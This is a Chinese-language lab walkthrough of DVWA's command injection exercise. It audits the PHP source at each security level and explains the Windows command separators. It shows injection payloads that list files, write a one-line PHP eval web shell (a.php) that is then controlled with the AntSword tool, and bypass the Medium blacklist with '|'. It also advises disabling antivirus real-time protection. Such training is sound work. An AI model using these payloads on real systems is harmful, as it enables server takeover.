DVWA-Command Injection(命令执行)

命令执行漏洞，顾名思义，服务端在进行一些网站的操作、管理的时候，需要调用系统命令，如果对传入的命令参数没有进行一些过滤，可以直接执行服务器系统的命令终端

LOW

审计源码

<?php

// 判断是否提交了 Submit

if( isset( $_POST[ 'Submit' ]  ) ) {

    // 获取 ip 传参，理想输入IP地址

    $target = $_REQUEST[ 'ip' ];

    // 确认操作系统

    // stristr() 截取 Windows NT 从开始到结束的位置

    // php_uname() 获取PHP版本信息 ，值为s，获取操作系统名称

    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {

        // 如果是windows，执行ping命令跟上传入的IP地址

        // shell_exec() 执行系统命令

        $cmd = shell_exec( 'ping  ' . $target );

    }

    else {

        // 如果是linux、unix等系统，执行 ping -c 4 四次测试，在Linux中ping是不会自动停止的

        $cmd = shell_exec( 'ping  -c 4 ' . $target );

    }

    // 打印命令执行结果

    echo "<pre>{$cmd}</pre>";

}

?>

可以看到，对输入的IP没有进行任何的过滤,可以直接进行命令注入

在windows命令行中，可以使用

& && | ||

& 符号

通过图片可以看出，&号无论ping执行正确还是失败，都会执行net user

&& 符号

&&只有ping命令执行成功后，后面的net user才可以执行成功

| 符号

|是意思是，将ping执行的结果，交给net user处理，只会回显net user的回显，但是无论ping执行是否成功，一定会执行net user

|| 符号

||会寻找正确的语句执行，执行完就会停止，可以看到，ping语句执行失败，执行了net user，第二条命令ping执行成功，没有执行echo，后面使用type验证echo没有执行成功

命令注入

在框中输入a|dir,查看当前目录文件，发现只有一个index.php

使用echo写入一句话木马a|echo "<?php @eval($_POST[cmd])?>" > a.php

如果在Windows 10中运行，现将安全中心的实时防护关闭

执行后没有任何回显，应该是写入成功了

继续使用a|dir查看木马是否写入成功

a.php已经被写入成功，使用a|type a.php查看a.php内容

只有两个双引号，里面的php语句应该是被当做页面执行了

使用蚁剑进行连接

蚁剑是一个类似于中国菜刀的工具，但是比起中国菜单更好用，下载见

启动器

 源码

将启动器和源码分别解压，然后启动器启动时选择启动目录为加压的源码目录就可以使用

根据a|dir获取a.php木马的路径,D:\phpstudy_pro\WWW\dvwa\vulnerabilities\exec

那么在地址栏中就是http://127.0.0.1/dvwa/vulnerabilities/exec/a.php,测试连接成功

添加，双击进入可以查看靶机目录

利用成功

Medium

审计源码



<?php

if( isset( $_POST[ 'Submit' ]  ) ) {

    // 获取传入的 ip

    $target = $_REQUEST[ 'ip' ];

    // 定义字符黑名单

    $substitutions = array(

        '&&' => '',

        ';'  => '',

    );

    // 将黑名单中的字符过滤，替换为空

    // str_replace() 替换选中的字符

    // array_keys选中 && ;，

    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // 判断操作系统

    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {

        // Windows

        $cmd = shell_exec( 'ping  ' . $target );

    }

    else {

        // *nix

        $cmd = shell_exec( 'ping  -c 4 ' . $target );

    }

    // 返回命令执行回显

    echo "<pre>{$cmd}</pre>";

}

?>

这里对&&和;号进行了过滤，但是对我们没有什么影响，|依然能用

a|echo hello world测试

成功打印了hello wolrd

成功过关

High

审计源码

<?php

if( isset( $_POST[ 'Submit' ]  ) ) {

    // 获取 IP 传参

    $target = trim($_REQUEST[ 'ip' ]);

    // 定义过滤黑名单

    $substitutions = array(

        '&'  => '',

        ';'  => '',

        '| ' => '',

        '-'  => '',

        '$'  => '',

        '('  => '',

        ')'  => '',

        '`'  => '',

        '||' => '',

    );

    // 将IP中的黑名单字符转换为空

    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // 判断操作系统

    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {

        // Windows

        $cmd = shell_exec( 'ping  ' . $target );

    }

    else {

        // *nix

        $cmd = shell_exec( 'ping  -c 4 ' . $target );

    }

    // 返回命令执行回显

    echo "<pre>{$cmd}</pre>";

}

?>

Impossible

审计源码



<?php

if( isset( $_POST[ 'Submit' ]  ) ) {

    // 检查token值

    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // 获取输入的IP地址

    $target = $_REQUEST[ 'ip' ];

    // 去除左右两边的反斜杠

    $target = stripslashes( $target );

    // 将传入的IP使用 . 进行分割

    $octet = explode( ".", $target );

    // 根据IP地址的格式，判断用 . 分开的四个部分是不是数字

    if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {

        // 如果是数字，将四个字数拼接为一个IP地址

        $target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];

        // 判断操作系统

        if( stristr( php_uname( 's' ), 'Windows NT' ) ) {

            // Windows

            $cmd = shell_exec( 'ping  ' . $target );

        }

        else {

            // *nix

            $cmd = shell_exec( 'ping  -c 4 ' . $target );

        }

        // 返回命令执行回显

        echo "<pre>{$cmd}</pre>";

    }

    else {

        // 命令执行失败，检查输入的是不是一个IP地址

        echo '<pre>ERROR: You have entered an invalid IP.</pre>';

    }

}

// 生成 user_token

generateSessionToken();

?>

引入了user_token，并且将输入的传参分割判断是不是IP地址的格式，所以这才是 Impossible